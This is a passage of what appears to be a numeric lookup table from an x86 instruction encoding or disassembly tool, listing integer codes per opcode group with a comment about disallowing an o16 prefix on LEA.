[[65796,66565,1048582,65804,66573,1048590,65812,66581,1048598,65820,66589,1048606,65828,66597,65575,65836,66605,65583,65844,66613,65591,316,1085,65599,65600,131137,262210,524355,1048644,2097221,4194374,8388679,65608,131145,262218,524363,1048652,2097229,4194382,8388687,1048656,1048657,1048658,1048659,1048660,1048661,1048662,1048663,1114200,1179737,1310810,1572955,1048668,3145821,5242974,9437279,1048672,1049704,1048938,26736,26737,26738,26739,26740,26741,26742,26743,26744,26745,26746,26747,26748,26749,26750,26751,144,196753,327826,589971,1114260,2162837,4259990,8454295,65688,262297,155,1048732,65695,424,1193,65968,131505,262578,524723,65972,131509,262582,524727,66744,132281,263354,525499,1049788,2098365,4195518,8389823,66260,66005,65750,157920,157921,157922,26851,26859,245,248,249,252,253, 0x10028D]],
[SharedShift0, [26992,26993,26994,26995,26996,26997,26998,26999,27000,27001,27002,27003,27004,27005,27006,27007,158176,158177,158178,27107,27115,358, 0x20028D]],
[SharedShift0, [27248,27249,27250,27251,27252,27253,27254,27255,27256,27257,27258,27259,27260,27261,27262,27263,158432,158433,158434,27363,27371,358, 0x20028D]],
[SharedShift0, [27504,27505,27506,27507,27508,27509,27510,27511,27512,27513,27514,27515,27516,27517,27518,27519,158688,158689,158690,27619,27627,358, 0x20028D]],
[SharedShift0, [27760,27761,27762,27763,27764,27765,27766,27767,27768,27769,27770,27771,27772,27773,27774,27775,158944,158945,158946,27875,27883,358, 0x20028D]],
[SharedShift0, [28016,28017,28018,28019,28020,28021,28022,28023,28024,28025,28026,28027,28028,28029,28030,28031,159200,159201,159202,28131,28139,358]],
[SharedShift0, [28272,28273,28274,28275,28276,28277,28278,28279,28280,28281,28282,28283,28284,28285,28286,28287,159456,159457,159458,28387,28395,358, 0x20028D]],
[SharedShift0, [28528,28529,28530,28531,28532,28533,28534,28535,28536,28537,28538,28539,28540,28541,28542,28543,159712,159713,159714,28643,28651,358, 0x20028D]],
[SharedShift0, [28784,28785,28786,28787,28788,28789,28790,28791,28792,28793,28794,28795,28796,28797,28798,28799,159968,159969,159970,28899,28907,358, 0x20028D]],
# 0x70
[SharedShift0, [29040,29041,29042,29043,29044,29045,29046,29047,29048,29049,29050,29051,29052,29053,29054,29055,160224,160225,160226,29155,29163, 0x40028D]],
[SharedShift0, [29296,29297,29298,29299,29300,29301,29302,29303,29304,29305,29306,29307,29308,29309,29310,29311,160480,160481,160482,29411,29419, 0x40028D]],
[SharedShift0, [29552,29553,29554,29555,29556,29557,29558,29559,29560,29561,29562,29563,29564,29565,29566,29567,160736,160737,160738,29667,29675, 0x40028D]],
[SharedShift0, [29808,29809,29810,29811,29812,29813,29814,29815,29816,29817,29818,29819,29820,29821,29822,29823,160992,160993,160994,29923,29931, 0x40028D]],
[SharedShift0, [30064,30065,30066,30067,30068,30069,30070,30071,30072,30073,30074,30075,30076,30077,30078,30079,161248,161249,161250,30179,30187]],
[SharedShift0, [30320,30321,30322,30323,30324,30325,30326,30327,30328,30329,30330,30331,30332,30333,30334,30335,161504,161505,161506,30435,30443, 0x40028D]],
[SharedShift0, [30576,30577,30578,30579,30580,30581,30582,30583,30584,30585,30586,30587,30588,30589,30590,30591,161760,161761,161762,30691,30699, 0x40028D]],
[SharedShift0, [30832,30833,30834,30835,30836,30837,30838,30839,30840,30841,30842,30843,30844,30845,30846,30847,162016,162017,162018,30947,30955, 0x40028D]],
[SharedShift0, [31088,31089,31090,31091,31092,31093,31094,31095,31096,31097,31098,31099,31100,31101,31102,31103,162272,162273,162274,31203,31211, 0x80028D]],
[SharedShift0, [31344,31345,31346,31347,31348,31349,31350,31351,31352,31353,31354,31355,31356,31357,31358,31359,162528,162529,162530,31459,31467, 0x80028D]],
[SharedShift0, [31600,31601,31602,31603,31604,31605,31606,31607,31608,31609,31610,31611,31612,31613,31614,31615,162784,162785,162786,31715,31723, 0x80028D]],
[SharedShift0, [31856,31857,31858,31859,31860,31861,31862,31863,31864,31865,31866,31867,31868,31869,31870,31871,163040,163041,163042,31971,31979, 0x80028D]],
[SharedShift0, [32112,32113,32114,32115,32116,32117,32118,32119,32120,32121,32122,32123,32124,32125,32126,32127,163296,163297,163298,32227,32235]],
[SharedShift0, [32368,32369,32370,32371,32372,32373,32374,32375,32376,32377,32378,32379,32380,32381,32382,32383,163552,163553,163554,32483,32491, 0x80028D]],
[SharedShift0, [32624,32625,32626,32627,32628,32629,32630,32631,32632,32633,32634,32635,32636,32637,32638,32639,163808,163809,163810,32739,32747, 0x80028D]],
[SharedShift0, [32880,32881,32882,32883,32884,32885,32886,32887,32888,32889,32890,32891,32892,32893,32894,32895,164064,164065,164066,32995,33003, 0x80028D]],
# 0x80
[SharedShift0, [358, 0x01058D]],
[SharedShift0, [358, 0x01058D]],
[SharedShift0, [358, 0x01058D]],
[SharedShift0, [358, 0x01058D]],
[SharedShift0, [358]],
[SharedShift0, [358, 0x01058D]],
[SharedShift0, [358, 0x01058D]],
[SharedShift0, [358, 0x01058D]],
[SharedShift0, [358, 0x02058D]],
[SharedShift0, [358, 0x02058D]],
[SharedShift0, [358, 0x02058D]],
[SharedShift0, [358, 0x02058D]],
[SharedShift0, [358]],
[SharedShift0], # Do not allow LEA to have a o16 prefix
[SharedShift0, [358, 0x02058D]],
[SharedShift0, [358, 0x02058D]],
# 0x90
[SharedShift0, [358, 0x04058D]],
[SharedShift0, [358, 0x04058D]],
[SharedShift0, [358, 0x04058D]],
[SharedShift0, [358, 0x04058D]],
[SharedShift0, [358]],
[SharedShift0, [358, 0x04058D]],
[SharedShift0, [358, 0x04058D]],
[SharedShift0, [358, 0x04058D]],
[SharedShift0, [358, 0x08058D]],
[SharedShift0, [358, 0x08058D]],
[SharedShift0, [358, 0x08058D]],
[SharedShift0, [358, 0x08058D]],
[SharedShift0, [358]],
[SharedShift0, [358, 0x08058D]],
[SharedShift0, [358, 0x08058D]],
[SharedShift0, [358, 0x08058D]],
# 0xa0
[SharedShift0, [358, 0x10058D]],
[SharedShift0, [358, 0x10058D]],
[SharedShift0, [358, 0x10058D]],
[SharedShift0, [358, 0x10058D]],
[SharedShift0, [358]],
[SharedShift0, [358, 0x10058D]],
[SharedShift0, [358, 0x10058D]],
[SharedShift0, [358, 0x10058D]],
[SharedShift0, [358, 0x20058D]],
[SharedShift0, [358, 0x20058D]],
[SharedShift0, [358, 0x20058D]],
[SharedShift0, [358, 0x20058D]],
[SharedShift0, [358]],
[SharedShift0, [358, 0x20058D]],
[SharedShift0, [358, 0x20058D]],
[SharedShift0, [358, 0x20058D]],
# 0xb0
[SharedShift0, [358, 0x40058D]],
[SharedShift0, [358, 0x40058D]],
[SharedShift0, [358, 0x40058D]],
[SharedShift0, [358, 0x40058D]],
[SharedShift0, [358]],
[SharedShift0, [358, 0x40058D]],
[SharedShift0, [358, 0x40058D]],
[SharedShift0, [358, 0x40058D]],
[SharedShift0, [358, 0x80058D]],
[SharedShift0, [358, 0x80058D]],
[SharedShift0, [358, 0x80058D]],
[SharedShift0, [358, 0x80058D]],
[SharedShift0, [358]],
[SharedShift0, [358, 0x80058D]],
[SharedShift0, [358, 0x80058D]],
[SharedShift0, [358, 0x80058D]],
# 0xc0
[SharedShift0, [65792,65793,65794,65795,65800,65801,65802,65803,65808,65809,65810,65811,65816,65817,65818,65819,65824,65825,65826,65827,65832,65833,65834,65835,65840,65841,65842,65843,312,313,314,315,66921,66155,66176,66945,66179,388,389,65926,65927,65928,65929,66240,66241,66000,66001,66002,66003,758,1527,66046,66047,358,0x01018C,0x0102C6,0x0105C7]],
[SharedShift0, [131328,131329,65794,65795,131336,131337,65802,65803,131344,131345,65810,65811,131352,131353,65818,65819,131360,131361,65826,65827,131368,131369,65834,65835,131376,131377,65842,65843,312,313,314,315,66921,66155,131712,132481,131715,388,389,196998,196999,131464,131465,131776,131777,131536,131537,131538,131539,758,1527,131582,131583,358,0x02018C, 0x0202C6, 0x0205C7]],
[SharedShift0, [262400,262401,65794,65795,262408,262409,65802,65803,262416,262417,65810,65811,262424,262425,65818,65819,262432,262433,65826,65827,262440,262441,65834,65835,262448,262449,65842,65843,312,313,314,315,66921,66155,262784,263553,262787,388,389,328070,328071,262536,262537,262848,262849,262608,262609,262610,262611,758,1527,262654,262655,358, 0x04018C, 0x0402C6, 0x0405C7]],
[SharedShift0, [524544,524545,65794,65795,524552,524553,65802,65803,524560,524561,65810,65811,524568,524569,65818,65819,524576,524577,65826,65827,524584,524585,65834,65835,524592,524593,65842,65843,312,313,314,315,66921,66155,524928,525697,524931,388,389,590214,590215,524680,524681,524992,524993,524752,524753,524754,524755,758,1527,524798,524799,358, 0x08018C, 0x0802C6, 0x0805C7]],
[SharedShift0, [65792,1048833,65794,65795,65800,1048841,65802,65803,65808,1048849,65810,65811,65816,1048857,65818,65819,65824,1048865,65826,65827,65832,1048873,65834,65835,65840,1048881,65842,65843,312,313,314,315,66921,66155,66176,1049985,1049219,388,389,65926,1114503,65928,1048969,66240,1049281,66000,1049041,66002,1049043,758,1527,66046,1049087,358, 0x10018C, 0x0102C6, 0x1005C7]],
[SharedShift0, [131328,2097409,65794,65795,131336,2097417,65802,65803,131344,2097425,65810,65811,131352,2097433,65818,65819,131360,2097441,65826,65827,131368,2097449,65834,65835,131376,2097457,65842,65843,312,313,314,315,66921,66155,131712,2098561,2097795,388,389,196998,2163079,131464,2097545,131776,2097857,131536,2097617,131538,2097619,758,1527,131582,2097663,358,0x20018C, 0x0202C6, 0x2005C7]],
[SharedShift0, [262400,4194561,65794,65795,262408,4194569,65802,65803,262416,4194577,65810,65811,262424,4194585,65818,65819,262432,4194593,65826,65827,262440,4194601,65834,65835,262448,4194609,65842,65843,312,313,314,315,66921,66155,262784,4195713,4194947,388,389,328070,4260231,262536,4194697,262848,4195009,262608,4194769,262610,4194771,758,1527,262654,4194815,358, 0x40018C, 0x0402C6, 0x4005C7]],
[SharedShift0, [524544,8388865,65794,65795,524552,8388873,65802,65803,524560,8388881,65810,65811,524568,8388889,65818,65819,524576,8388897,65826,65827,524584,8388905,65834,65835,524592,8388913,65842,65843,312,313,314,315,66921,66155,524928,8390017,8389251,388,389,590214,8454535,524680,8389001,524992,8389313,524752,8389073,524754,8389075,758,1527,524798,8389119,358, 0x80018C, 0x0802C6, 0x8005C7]],
[SharedShift0, [65792,65793,131330,131331,65800,65801,131338,131339,65808,65809,131346,131347,65816,65817,131354,131355,65824,65825,131362,131363,65832,65833,131370,131371,65840,65841,131378,131379,312,313,314,315,132457,131691,66176,66945,66945,66179,388,389,196998,196999,65928,65929,66240,66241,66241,66000,66001,66002,66003,66046,66047,358, 0x01018C]],
[SharedShift0, [131328,131329,131330,131331,131336,131337,131338,131339,131344,131345,131346,131347,131352,131353,131354,131355,131360,131361,131362,131363,131368,131369,131370,131371,131376,131377,131378,131379,312,313,314,315,132457,131691,131712,132481,132481,131715,388,389,131462,131463,131464,131465,131776,131777,131777,131536,131537,131538,131539,131582,131583,358, 0x02018C]],
[SharedShift0, [262400,262401,131330,131331,262408,262409,131338,131339,262416,262417,131346,131347,262424,262425,131354,131355,262432,262433,131362,131363,262440,262441,131370,131371,262448,262449,131378,131379,312,313,314,315,132457,131691,262784,263553,263553,262787,388,389,393606,393607,262536,262537,262848,262849,262849,262608,262609,262610,262611,262654,262655,358, 0x04018C]],
[SharedShift0, [524544,524545,131330,131331,524552,524553,131338,131339,524560,524561,131346,131347,524568,524569,131354,131355,524576,524577,131362,131363,524584,524585,131370,131371,524592,524593,131378,131379,312,313,314,315,132457,131691,524928,525697,525697,524931,388,389,655750,655751,524680,524681,524992,524993,524993,524752,524753,524754,524755,524798,524799,358, 0x08018C]],
[SharedShift0, [65792,1048833,131330,131331,65800,1048841,131338,131339,65808,1048849,131346,131347,65816,1048857,131354,131355,65824,1048865,131362,131363,65832,1048873,131370,131371,65840,1048881,131378,131379,312,313,314,315,132457,131691,66176,1049985,1049985,1049219,388,389,196998,1180039,65928,1048969,66240,1049281,1049281,66000,1049041,66002,1049043,66046,1049087,358, 0x10018C]],
[SharedShift0, [131328,2097409,131330,131331,131336,2097417,131338,131339,131344,2097425,131346,131347,131352,2097433,131354,131355,131360,2097441,131362,131363,131368,2097449,131370,131371,131376,2097457,131378,131379,312,313,314,315,132457,131691,131712,2098561,2098561,2097795,388,389,131462,2228615,131464,2097545,131776,2097857,2097857,131536,2097617,131538,2097619,131582,2097663,358, 0x20018C]],
[SharedShift0, [262400,4194561,131330,131331,262408,4194569,131338,131339,262416,4194577,131346,131347,262424,4194585,131354,131355,262432,4194593,131362,131363,262440,4194601,131370,131371,262448,4194609,131378,131379,312,313,314,315,132457,131691,262784,4195713,4195713,4194947,388,389,393606,4325767,262536,4194697,262848,4195009,4195009,262608,4194769,262610,4194771,262654,4194815,358, 0x40018C]],
[SharedShift0, [524544,8388865,131330,131331,524552,8388873,131338,131339,524560,8388881,131346,131347,524568,8388889,131354,131355,524576,8388897,131362,131363,524584,8388905,131370,131371,524592,8388913,131378,131379,312,313,314,315,132457,131691,524928,8390017,8390017,8389251,388,389,655750,8520071,524680,8389001,524992,8389313,8389313,524752,8389073,524754,8389075,524798,8389119,358, 0x80018C]],
# 0xd0
[SharedShift0, [65792,65793,262402,262403,65800,65801,262410,262411,65808,65809,262418,262419,65816,65817,262426,262427,65824,65825,262434,262435,65832,65833,262442,262443,65840,65841,262450,262451,312,313,314,315,263529,262763,66176,66945,66945,66179,388,389,328070,328071,65928,65929,66240,66241,66241,66000,66001,66002,66003,66038,66039,358, 0x01018C]],
[SharedShift0, [131328,131329,262402,262403,131336,131337,262410,262411,131344,131345,262418,262419,131352,131353,262426,262427,131360,131361,262434,262435,131368,131369,262442,262443,131376,131377,262450,262451,312,313,314,315,263529,262763,131712,132481,132481,131715,388,389,393606,393607,131464,131465,131776,131777,131777,131536,131537,131538,131539,131574,131575,358, 0x02018C]],
[SharedShift0, [262400,262401,262402,262403,262408,262409,262410,262411,262416,262417,262418,262419,262424,262425,262426,262427,262432,262433,262434,262435,262440,262441,262442,262443,262448,262449,262450,262451,312,313,314,315,263529,262763,262784,263553,263553,262787,388,389,262534,262535,262536,262537,262848,262849,262849,262608,262609,262610,262611,262646,262647,358, 0x04018C]],
[SharedShift0, [524544,524545,262402,262403,524552,524553,262410,262411,524560,524561,262418,262419,524568,524569,262426,262427,524576,524577,262434,262435,524584,524585,262442,262443,524592,524593,262450,262451,312,313,314,315,263529,262763,524928,525697,525697,524931,388,389,786822,786823,524680,524681,524992,524993,524993,524752,524753,524754,524755,524790,524791,358, 0x08018C]],
[SharedShift0, [65792,1048833,262402,262403,65800,1048841,262410,262411,65808,1048849,262418,262419,65816,1048857,262426,262427,65824,1048865,262434,262435,65832,1048873,262442,262443,65840,1048881,262450,262451,312,313,314,315,263529,262763,66176,1049985,1049985,1049219,388,389,328070,1311111,65928,1048969,66240,1049281,1049281,66000,1049041,66002,1049043,66038,1049079,358, 0x10018C]],
[SharedShift0, [131328,2097409,262402,262403,131336,2097417,262410,262411,131344,2097425,262418,262419,131352,2097433,262426,262427,131360,2097441,262434,262435,131368,2097449,262442,262443,131376,2097457,262450,262451,312,313,314,315,263529,262763,131712,2098561,2098561,2097795,388,389,393606,2359687,131464,2097545,131776,2097857,2097857,131536,2097617,131538,2097619,131574,2097655,358, 0x20018C]],
[SharedShift0, [262400,4194561,262402,262403,262408,4194569,262410,262411,262416,4194577,262418,262419,262424,4194585,262426,262427,262432,4194593,262434,262435,262440,4194601,262442,262443,262448,4194609,262450,262451,312,313,314,315,263529,262763,262784,4195713,4195713,4194947,388,389,262534,4456839,262536,4194697,262848,4195009,4195009,262608,4194769,262610,4194771,262646,4194807,358, 0x40018C]],
[SharedShift0, [524544,8388865,262402,262403,524552,8388873,262410,262411,524560,8388881,262418,262419,524568,8388889,262426,262427,524576,8388897,262434,262435,524584,8388905,262442,262443,524592,8388913,262450,262451,312,313,314,315,263529,262763,524928,8390017,8390017,8389251,388,389,786822,8651143,524680,8389001,524992,8389313,8389313,524752,8389073,524754,8389075,524790,8389111,358, 0x80018C]],
[SharedShift0, [65792,65793,524546,524547,65800,65801,524554,524555,65808,65809,524562,524563,65816,65817,524570,524571,65824,65825,524578,524579,65832,65833,524586,524587,65840,65841,524594,524595,312,313,314,315,525673,524907,66176,66945,66945,66179,388,389,590214,590215,65928,65929,66240,66241,66241,66000,66001,66002,66003,66038,66039,358, 0x01018C]],
[SharedShift0, [131328,131329,524546,524547,131336,131337,524554,524555,131344,131345,524562,524563,131352,131353,524570,524571,131360,131361,524578,524579,131368,131369,524586,524587,131376,131377,524594,524595,312,313,314,315,525673,524907,131712,132481,132481,131715,388,389,655750,655751,131464,131465,131776,131777,131777,131536,131537,131538,131539,131574,131575,358, 0x02018C]],
[SharedShift0, [262400,262401,524546,524547,262408,262409,524554,524555,262416,262417,524562,524563,262424,262425,524570,524571,262432,262433,524578,524579,262440,262441,524586,524587,262448,262449,524594,524595,312,313,314,315,525673,524907,262784,263553,263553,262787,388,389,786822,786823,262536,262537,262848,262849,262849,262608,262609,262610,262611,262646,262647,358, 0x04018C]],
[SharedShift0, [524544,524545,524546,524547,524552,524553,524554,524555,524560,524561,524562,524563,524568,524569,524570,524571,524576,524577,524578,524579,524584,524585,524586,524587,524592,524593,524594,524595,312,313,314,315,525673,524907,524928,525697,525697,524931,388,389,524678,524679,524680,524681,524992,524993,524993,524752,524753,524754,524755,524790,524791,358, 0x08018C]],
[SharedShift0, [65792,1048833,524546,524547,65800,1048841,524554,524555,65808,1048849,524562,524563,65816,1048857,524570,524571,65824,1048865,524578,524579,65832,1048873,524586,524587,65840,1048881,524594,524595,312,313,314,315,525673,524907,66176,1049985,1049985,1049219,388,389,590214,1573255,65928,1048969,66240,1049281,1049281,66000,1049041,66002,1049043,66038,1049079,358, 0x10018C]],
[SharedShift0, [131328,2097409,524546,524547,131336,2097417,524554,524555,131344,2097425,524562,524563,131352,2097433,524570,524571,131360,2097441,524578,524579,131368,2097449,524586,524587,131376,2097457,524594,524595,312,313,314,315,525673,524907,131712,2098561,2098561,2097795,388,389,655750,2621831,131464,2097545,131776,2097857,2097857,131536,2097617,131538,2097619,131574,2097655,358, 0x20018C]],
[SharedShift0, [262400,4194561,524546,524547,262408,4194569,524554,524555,262416,4194577,524562,524563,262424,4194585,524570,524571,262432,4194593,524578,524579,262440,4194601,524586,524587,262448,4194609,524594,524595,312,313,314,315,525673,524907,262784,4195713,4195713,4194947,388,389,786822,4718983,262536,4194697,262848,4195009,4195009,262608,4194769,262610,4194771,262646,4194807,358, 0x40018C]],
[SharedShift0, [524544,8388865,524546,524547,524552,8388873,524554,524555,524560,8388881,524562,524563,524568,8388889,524570,524571,524576,8388897,524578,524579,524584,8388905,524586,524587,524592,8388913,524594,524595,312,313,314,315,525673,524907,524928,8390017,8390017,8389251,388,389,524678,8913287,524680,8389001,524992,8389313,8389313,524752,8389073,524754,8389075,524790,8389111,358, 0x80018C]],
# 0xe0
[SharedShift0, [65792,65793,65794,1048835,65800,65801,65802,1048843,65808,65809,65810,1048851,65816,65817,65818,1048859,65824,65825,65826,1048867,65832,65833,65834,1048875,65840,65841,65842,1048883,312,313,314,315,1049961,1049195,66176,66945,66945,66179,388,389,65926,1114503,65928,65929,66240,66241,66241,66000,66001,66002,66003,66038,328183, 0x01018C]],
[SharedShift0, [131328,131329,65794,1048835,131336,131337,65802,1048843,131344,131345,65810,1048851,131352,131353,65818,1048859,131360,131361,65826,1048867,131368,131369,65834,1048875,131376,131377,65842,1048883,312,313,314,315,1049961,1049195,131712,132481,132481,131715,388,389,196998,1180039,131464,131465,131776,131777,131777,131536,131537,131538,131539,66038,328183, 0x02018C]],
[SharedShift0, [262400,262401,65794,1048835,262408,262409,65802,1048843,262416,262417,65810,1048851,262424,262425,65818,1048859,262432,262433,65826,1048867,262440,262441,65834,1048875,262448,262449,65842,1048883,312,313,314,315,1049961,1049195,262784,263553,263553,262787,388,389,328070,1311111,262536,262537,262848,262849,262849,262608,262609,262610,262611,66038,328183, 0x04018C]],
[SharedShift0, [524544,524545,65794,1048835,524552,524553,65802,1048843,524560,524561,65810,1048851,524568,524569,65818,1048859,524576,524577,65826,1048867,524584,524585,65834,1048875,524592,524593,65842,1048883,312,313,314,315,1049961,1049195,524928,525697,525697,524931,388,389,590214,1573255,524680,524681,524992,524993,524993,524752,524753,524754,524755,66038,328183, 0x08018C]],
[SharedShift0, [65792,1048833,65794,1048835,65800,1048841,65802,1048843,65808,1048849,65810,1048851,65816,1048857,65818,1048859,65824,1048865,65826,1048867,65832,1048873,65834,1048875,65840,1048881,65842,1048883,312,313,314,315,1049961,1049195,66176,1049985,1049985,1049219,388,389,65926,1048967,65928,1048969,66240,1049281,1049281,66000,1049041,66002,1049043,66038,328183,358, 0x10018C]],
[SharedShift0, [131328,2097409,65794,1048835,131336,2097417,65802,1048843,131344,2097425,65810,1048851,131352,2097433,65818,1048859,131360,2097441,65826,1048867,131368,2097449,65834,1048875,131376,2097457,65842,1048883,312,313,314,315,1049961,1049195,131712,2098561,2098561,2097795,388,389,196998,3146119,131464,2097545,131776,2097857,2097857,131536,2097617,131538,2097619,66038,328183,358, 0x20018C]],
[SharedShift0, [262400,4194561,65794,1048835,262408,4194569,65802,1048843,262416,4194577,65810,1048851,262424,4194585,65818,1048859,262432,4194593,65826,1048867,262440,4194601,65834,1048875,262448,4194609,65842,1048883,312,313,314,315,1049961,1049195,262784,4195713,4195713,4194947,388,389,328070,5243271,262536,4194697,262848,4195009,4195009,262608,4194769,262610,4194771,66038,328183,358, 0x40018C]],
[SharedShift0, [524544,8388865,65794,1048835,524552,8388873,65802,1048843,524560,8388881,65810,1048851,524568,8388889,65818,1048859,524576,8388897,65826,1048867,524584,8388905,65834,1048875,524592,8388913,65842,1048883,312,313,314,315,1049961,1049195,524928,8390017,8390017,8389251,388,389,590214,9437575,524680,8389001,524992,8389313,8389313,524752,8389073,524754,8389075,66038,328183,358, 0x80018C]],
[SharedShift0, [65792,65793,131330,2097411,65800,65801,131338,2097419,65808,65809,131346,2097427,65816,65817,131354,2097435,65824,65825,131362,2097443,65832,65833,131370,2097451,65840,65841,131378,2097459,312,313,314,315,2098537,2097771,66176,66945,66945,66179,388,389,196998,2163079,65928,65929,66240,66241,66241,66000,66001,66002,66003,66038,328183,358, 0x01018C]],
[SharedShift0, [131328,131329,131330,2097411,131336,131337,131338,2097419,131344,131345,131346,2097427,131352,131353,131354,2097435,131360,131361,131362,2097443,131368,131369,131370,2097451,131376,131377,131378,2097459,312,313,314,315,2098537,2097771,131712,132481,132481,131715,388,389,131462,2228615,131464,131465,131776,131777,131777,131536,131537,131538,131539,66038,328183,358, 0x02018C]],
[SharedShift0, [262400,262401,131330,2097411,262408,262409,131338,2097419,262416,262417,131346,2097427,262424,262425,131354,2097435,262432,262433,131362,2097443,262440,262441,131370,2097451,262448,262449,131378,2097459,312,313,314,315,2098537,2097771,262784,263553,263553,262787,388,389,393606,2359687,262536,262537,262848,262849,262849,262608,262609,262610,262611,66038,328183,358, 0x04018C]],
[SharedShift0, [524544,524545,131330,2097411,524552,524553,131338,2097419,524560,524561,131346,2097427,524568,524569,131354,2097435,524576,524577,131362,2097443,524584,524585,131370,2097451,524592,524593,131378,2097459,312,313,314,315,2098537,2097771,524928,525697,525697,524931,388,389,655750,2621831,524680,524681,524992,524993,524993,524752,524753,524754,524755,66038,328183, 0x08018C]],
[SharedShift0, [65792,1048833,131330,2097411,65800,1048841,131338,2097419,65808,1048849,131346,2097427,65816,1048857,131354,2097435,65824,1048865,131362,2097443,65832,1048873,131370,2097451,65840,1048881,131378,2097459,312,313,314,315,2098537,2097771,66176,1049985,1049985,1049219,388,389,196998,3146119,65928,1048969,66240,1049281,1049281,66000,1049041,66002,1049043,66038,328183,358, 0x10018C]],
[SharedShift0, [131328,2097409,131330,2097411,131336,2097417,131338,2097419,131344,2097425,131346,2097427,131352,2097433,131354,2097435,131360,2097441,131362,2097443,131368,2097449,131370,2097451,131376,2097457,131378,2097459,312,313,314,315,2098537,2097771,131712,2098561,2098561,2097795,388,389,131462,2097543,131464,2097545,131776,2097857,2097857,131536,2097617,131538,2097619,66038,328183,358, 0x20018C]],
[SharedShift0, [262400,4194561,131330,2097411,262408,4194569,131338,2097419,262416,4194577,131346,2097427,262424,4194585,131354,2097435,262432,4194593,131362,2097443,262440,4194601,131370,2097451,262448,4194609,131378,2097459,312,313,314,315,2098537,2097771,262784,4195713,4195713,4194947,388,389,393606,6291847,262536,4194697,262848,4195009,4195009,262608,4194769,262610,4194771,66038,328183,358, 0x40018C]],
[SharedShift0, [524544,8388865,131330,2097411,524552,8388873,131338,2097419,524560,8388881,131346,2097427,524568,8388889,131354,2097435,524576,8388897,131362,2097443,524584,8388905,131370,2097451,524592,8388913,131378,2097459,312,313,314,315,2098537,2097771,524928,8390017,8390017,8389251,388,389,655750,10486151,524680,8389001,524992,8389313,8389313,524752,8389073,524754,8389075,66038,328183,358, 0x80018C]],
# 0xf0
[SharedShift0, [65792,65793,262402,4194563,65800,65801,262410,4194571,65808,65809,262418,4194579,65816,65817,262426,4194587,65824,65825,262434,4194595,65832,65833,262442,4194603,65840,65841,262450,4194611,312,313,314,315,4195689,4194923,66176,66945,66945,66179,388,389,328070,4260231,65928,65929,1049087,358]],
[SharedShift0, [131328,131329,262402,4194563,131336,131337,262410,4194571,131344,131345,262418,4194579,131352,131353,262426,4194587,131360,131361,262434,4194595,131368,131369,262442,4194603,131376,131377,262450,4194611,312,313,314,315,4195689,4194923,131712,132481,132481,131715,388,389,393606,4325767,131464,131465,1049087,358]],
[SharedShift0, [262400,262401,262402,4194563,262408,262409,262410,4194571,262416,262417,262418,4194579,262424,262425,262426,4194587,262432,262433,262434,4194595,262440,262441,262442,4194603,262448,262449,262450,4194611,312,313,314,315,4195689,4194923,262784,263553,263553,262787,388,389,262534,4456839,262536,262537,1049087,358]],
[SharedShift0, [524544,524545,262402,4194563,524552,524553,262410,4194571,524560,524561,262418,4194579,524568,524569,262426,4194587,524576,524577,262434,4194595,524584,524585,262442,4194603,524592,524593,262450,4194611,312,313,314,315,4195689,4194923,524928,525697,525697,524931,388,389,786822,4718983,524680,524681,1049087,358]],
[SharedShift0, [65792,1048833,262402,4194563,65800,1048841,262410,4194571,65808,1048849,262418,4194579,65816,1048857,262426,4194587,65824,1048865,262434,4194595,65832,1048873,262442,4194603,65840,1048881,262450,4194611,312,313,314,315,4195689,4194923,66176,1049985,1049985,1049219,388,389,328070,5243271,65928,1048969,1049087,358]],
[SharedShift0, [131328,2097409,262402,4194563,131336,2097417,262410,4194571,131344,2097425,262418,4194579,131352,2097433,262426,4194587,131360,2097441,262434,4194595,131368,2097449,262442,4194603,131376,2097457,262450,4194611,312,313,314,315,4195689,4194923,131712,2098561,2098561,2097795,388,389,393606,6291847,131464,2097545,1049087,358]],
[SharedShift0, [262400,4194561,262402,4194563,262408,4194569,262410,4194571,262416,4194577,262418,4194579,262424,4194585,262426,4194587,262432,4194593,262434,4194595,262440,4194601,262442,4194603,262448,4194609,262450,4194611,312,313,314,315,4195689,4194923,262784,4195713,4195713,4194947,388,389,262534,4194695,262536,4194697,1049087,358]],
[SharedShift0, [524544,8388865,262402,4194563,524552,8388873,262410,4194571,524560,8388881,262418,4194579,524568,8388889,262426,4194587,524576,8388897,262434,4194595,524584,8388905,262442,4194603,524592,8388913,262450,4194611,312,313,314,315,4195689,4194923,524928,8390017,8390017,8389251,388,389,786822,12583303,524680,8389001,1049087,358]],
[SharedShift0, [65792,65793,524546,8388867,65800,65801,524554,8388875,65808,65809,524562,8388883,65816,65817,524570,8388891,65824,65825,524578,8388899,65832,65833,524586,8388907,65840,65841,524594,8388915,312,313,314,315,8389993,8389227,640,66945,1409,643,388,389,590214,8454535,65928,65929,66240,66241,66241,66000,66001,66002,66003,358]],
[SharedShift0, [131328,131329,524546,8388867,131336,131337,524554,8388875,131344,131345,524562,8388883,131352,131353,524570,8388891,131360,131361,524578,8388899,131368,131369,524586,8388907,131376,131377,524594,8388915,312,313,314,315,8389993,8389227,640,132481,1409,643,388,389,655750,8520071,131464,131465,131776,131777,131777,131536,131537,131538,131539,358]],
[SharedShift0, [262400,262401,524546,8388867,262408,262409,524554,8388875,262416,262417,524562,8388883,262424,262425,524570,8388891,262432,262433,524578,8388899,262440,262441,524586,8388907,262448,262449,524594,8388915,312,313,314,315,8389993,8389227,640,263553,1409,643,388,389,786822,8651143,262536,262537,262848,262849,262849,262608,262609,262610,262611,358]],
[SharedShift0, [524544,524545,524546,8388867,524552,524553,524554,8388875,524560,524561,524562,8388883,524568,524569,524570,8388891,524576,524577,524578,8388899,524584,524585,524586,8388907,524592,524593,524594,8388915,312,313,314,315,8389993,8389227,640,525697,1409,643,388,389,524678,8913287,524680,524681,524992,524993,524993,524752,524753,524754,524755,358]],
[SharedShift0, [65792,1048833,524546,8388867,65800,1048841,524554,8388875,65808,1048849,524562,8388883,65816,1048857,524570,8388891,65824,1048865,524578,8388899,65832,1048873,524586,8388907,65840,1048881,524594,8388915,312,313,314,315,8389993,8389227,640,1049985,1409,643,388,389,590214,9437575,65928,1048969,66240,1049281,1049281,66000,1049041,66002,1049043,358]],
[SharedShift0, [131328,2097409,524546,8388867,131336,2097417,524554,8388875,131344,2097425,524562,8388883,131352,2097433,524570,8388891,131360,2097441,524578,8388899,131368,2097449,524586,8388907,131376,2097457,524594,8388915,312,313,314,315,8389993,8389227,640,2098561,1409,643,388,389,655750,10486151,131464,2097545,131776,2097857,2097857,131536,2097617,131538,2097619,358]],
